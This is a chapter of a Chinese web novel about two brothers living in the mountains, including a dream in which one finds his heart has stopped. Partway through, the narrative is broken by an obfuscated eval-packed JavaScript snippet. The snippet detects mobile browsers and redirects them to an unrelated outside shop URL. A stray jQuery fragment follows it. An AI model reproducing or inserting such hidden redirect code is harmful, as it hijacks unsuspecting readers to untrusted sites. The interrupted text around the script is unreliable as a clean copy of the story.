文趣网 > 都市小说 > 巫蛊少年他又争又抢 > 4. 我的心脏为你而跳
    【如果有一天,我的心脏不再跳动,那这个世界上还会有心脏为我而跳吗?】

    ——

    余槿把锅碗瓢盆颠得当当响,却在盛汤的时候烫了手,眼泪汪汪的,就等着李瑜来看。

    水泡都起来了,李瑜立马着急地拉过他的手,眼里是掩不住的心疼。

    “下次不要这样了,我来盛就好。”李瑜一边小心翼翼地用凉水冲洗伤口一边对着伤口吹凉气。

    “还好了,刚开始有点疼,但哥哥一吹就一点都不疼了。”余槿笑嘻嘻的,好像没了痛觉。

    “胡闹,”李瑜责怪道,“有没有药?我去拿。”

    “哎,哥哥你的病刚好,还是先吃饭吧。”

    李瑜轻轻地给了他一个脑瓜崩,“我受伤了你心疼,你受伤就不准我心疼?”说着,就起身往卧室走去,余槿紧随其后。

    药自然是有的,李瑜略略翻找就寻到了盛草药的木箱。

    打开药箱,李瑜小心翼翼地给他上了药,温和的眸子全神贯注地盯着伤口,手法轻稳缓慢。

    余槿看着他,像是在欣赏一樽玉像,半晌,开口问道,“哥哥为什么对我这么好。”

    语气陈述平稳,似乎并不好奇。

    “因为你是我的弟弟,我们是彼此唯一的亲人,”李瑜注意力依旧在伤口上,想到什么就说了。

    “那如果我不是哥哥的弟弟,哥哥还会对我这么好吗?”

    李瑜终于抬起了头,笑着说道,“会的,你对我的好,我都记着呢。”

    “那如果我们是陌生人呢?我以前也没对哥哥这么好,你还会对我这么好吗?”

    见余槿有些不依不饶,李瑜先是认真地思考了对方的话,后又点头笑着回应,“当然了,话痨鬼。”

    本以为余槿这次总会知足了,却不想他依旧不依不饶,“哥哥,你很好。我知道你也会对其他人好。但是,哥哥,我很自私,我只想让你对我一个人好。”

    说完就委屈巴巴地看着李瑜。

    这些话说得有些莫名其妙,毕竟这鸟不拉屎的山沟沟里哪还有第三个人?

    李瑜点点头,笑着刮他鼻子,“嗯,只对你好。”

    余槿这才和李瑜拥抱,“好,我记住了,哥哥也要记住今天说的话,只对我好。”

    李瑜笑着拍了拍余槿的后背,“好了,别撒娇了,汤都要凉了。”

    李瑜只当自己以前做哥哥的时候没有尽责,现在看着撒娇小狗,自是什么都宠着。

    而余槿,就像个不知足的饕餮,一步步地攻占李瑜的底线。

    李瑜说不想和他一起洗澡,他不听,被甩了几巴掌也要拿着衣服进去。说好了不会乱看,可一进去就光明正大地偷看,到最后还要怪自家哥哥长得太白,容易聚焦视线。

    李瑜说不想和他睡一张床,他说自己以前就是跟着哥哥睡一张床。

    李瑜对着那张床陷入了沉思,因为它明显不够两人一起睡……

    睡就睡吧,他还要抱着哥哥一起睡。

    李瑜虽说个子没他高,腿却和余槿的不相上下。余槿每次睡觉的时候都像一个壁虎,双手双脚紧吸着李瑜。

    两人相拥到后半夜,李瑜被热醒。

    他先把膝盖慢慢吸到腹部,顶着余槿的小腹慢慢和他拉开距离。

    余槿模糊不清地呓语,“好哥哥,别弃我,我听话,”说着,就把四肢锁得更紧了。

    真是赔了夫人又折兵。

    李瑜轻轻地地推了推余槿,试图把他晃醒,结果可想而知。

    叫醒服务未果后,他放弃了挣扎,刚想着要一直热下去的时候,惊讶地发现余槿正一点点变凉。

    李瑜艰难地抽出手摸了摸他的额头,是凉的。

    温凉的触感摸着还挺舒服,迷迷糊糊地,李瑜就入了梦。

    他做了一个很奇怪很奇怪的梦。

    一些光怪陆离的画面像摔碎的玻璃,迸溅着分离开,又像覆水重收,拼凑出的故事让他感到陌生又熟悉。

    在这些碎片里,他感觉到了压抑与痛苦,是那么的真实,让他刻骨铭心。

    他喘着气,哭着捧住心口,想来缓解心脏处一抽一抽的坠痛,却发现自己的心脏已经不再跳动。

    他吓出一身冷汗,把手探进自己的衣服里面,又仔细地辨识。

    千真万确,就是没有心跳!

    细思极恐,鸡皮疙瘩应声而起,他有些不受控制地咬住嘴唇,身体也有些微微发抖。

    “嗯?哥哥怎么了?”余槿的声音像从空中传来,虚无缥缈却又令人安心。

    “我……我是不是已经死了?”李瑜哭着抓住余槿的胳膊,十指几乎嵌进肉里。

    他的情绪失控远不是因为自己没有心跳,更多的还是因为刚才的梦,都太真实,太令他窒息。

    “哥哥,你做梦呢。”

    少年的声音熟悉又陌生,他搂住李瑜,在他耳边呢喃,“我的好哥哥,你是我的好哥哥啊。”

    李瑜感觉到了枕边人体温的回暖,自己的意识也跟着慢慢恢复理智。

    “可我的心脏为什么停了?”

    他的手被牵着来到一处生命旺盛的地方,那里激情澎湃,正燃烧着炙热,“哥哥,这颗心脏为你而跳。”

    他感受着它的生命,热烈而坚定。

    “可它不是我的……”

    “是你的,怎么不是?哥哥又要丢下我吗?”

    “不是……不是这个意思……”李瑜止住了泣音,接着说,“它在你的身体里,而我身体里的这颗已经不跳了。”

    余槿轻轻地拍了拍他的后背,用极温和的语气说道,“哥哥,它不止在我的身体里,只要你想着它,想要它,它也可以属于你。你所梦到的一切都是假的,我们还有很美好的未来。”

    话的末尾,他用李瑜听不懂的语言又说了一句话,像是在念咒语。

    这些话像是充满了魔力,李瑜感觉到自己心脏处如暖流涌过,他刚想触碰,就被余槿轻轻扯住手腕。

    “哥哥,我们睡觉吧,很晚了。”

    余槿这次和李瑜略略拉开距离,虽没有像刚才抱得那么紧,却依旧四肢缠着。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690076|207886||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “嗯。”

    在刚才的梦里,李瑜看到的所有眼睛都是冷漠的、冰冷的。

    他看到那个自称父亲的角色对他的提防,自家公司的所有计划、运营,他都不知道,父亲也不想让他知道。相反,那个不学无术的私生子哥哥就可以得到父亲手把手的教导。

    他看到那位自称自己母亲的角色把母爱都给了另一个孩子,她和自己的父亲没有感情,以至于她对自己也没有感情,虽不厌屋及乌,却也没有尽一个母亲的职责。

    明明身处豪门,可父母却不肯给爱和金钱,多么吝啬,恨不得他从来没来过这个世界。

    痛心之余,他又觉得幸运。幸好,他没有生在那个家庭,而是和他的弟弟相依为命。日子虽没有他们富裕,却有很多的爱。况且那些钱也不属于梦里的自己。

    阳光很早就把窗户撬开,躺在屋里的地面上,撒上淡淡金光。

    李瑜醒来后,枕边已经空了。

    余槿总是起得比他早,然后悄无声息地下床做饭。

    李瑜摸了摸胸口,隐隐感觉到心脏的跳动,温和、轻颤。这令他有些意外,不禁怀疑昨晚的真实性。

    李瑜起身进了厨房。

    余槿个子高挑,从背后看是少年人独有的青春气,大概是常和厨房打交道,在他身上还有一丝熟男味儿。

    “哥哥醒了。”余槿转身看着倚在门框的李瑜,笑得很乖。

    “嗯,”李瑜点点头,“昨晚吓到你了,抱歉。”

    “你在说什么呢哥哥?”余槿满脸无辜地看着他,“昨晚怎么了?哥哥明明很乖啊,不打呼噜也不磨牙。”

    “嗯?我是说我的心脏……”李瑜说着就去摸自己胸口,依旧是温和地起伏。现在的他更加无法确认昨晚的真实性了。

    “哥哥,”余槿笑着拉住他的手,“我本来不想跟你说的,但看你现在头脑这么迷糊,我还真有必要告一下状。”

    说着,他就撸起袖子,把胳膊上被掐的指甲印露出来,“看呐哥哥,这是你昨晚做噩梦时候抓的,哥哥当时哭得一抽一抽的,还睡得特别沉,怎么都叫不醒。”

    他用略带委屈的眼神看着李瑜。

    又在装可怜。

    但李瑜很吃这套,每每看到他那双狭长漂亮的眼睛变成圆溜溜的狗狗眼时,他就知道,自己一定会相信他。

    余槿手上沾着面粉,撸袖子的时候没注意,黑色的袖口上被种下了白色的面粉花。

    李瑜看着他的袖口,走过来拍掉了上边的面粉,“是哥哥的错,现在还疼吗?”

    余槿眼神一亮,眼睛又变回了狭长,只不过里面多了痴迷与陶醉,“不疼的,哥哥力气很小。”

    李瑜看着那十个深深浅浅的月牙状伤痕,满脸心疼与不信,怎么会不疼?这傻孩子。

    末了,李瑜又小声地自责道,“我该剪剪指甲的,”后又抬头询问,“你要不要上药?”

    “不用,上药干嘛,都快愈合了。”余槿笑着揶揄。

    李瑜点点头,撸起袖子也加入了厨房,“你今天少干点,我看着心疼。”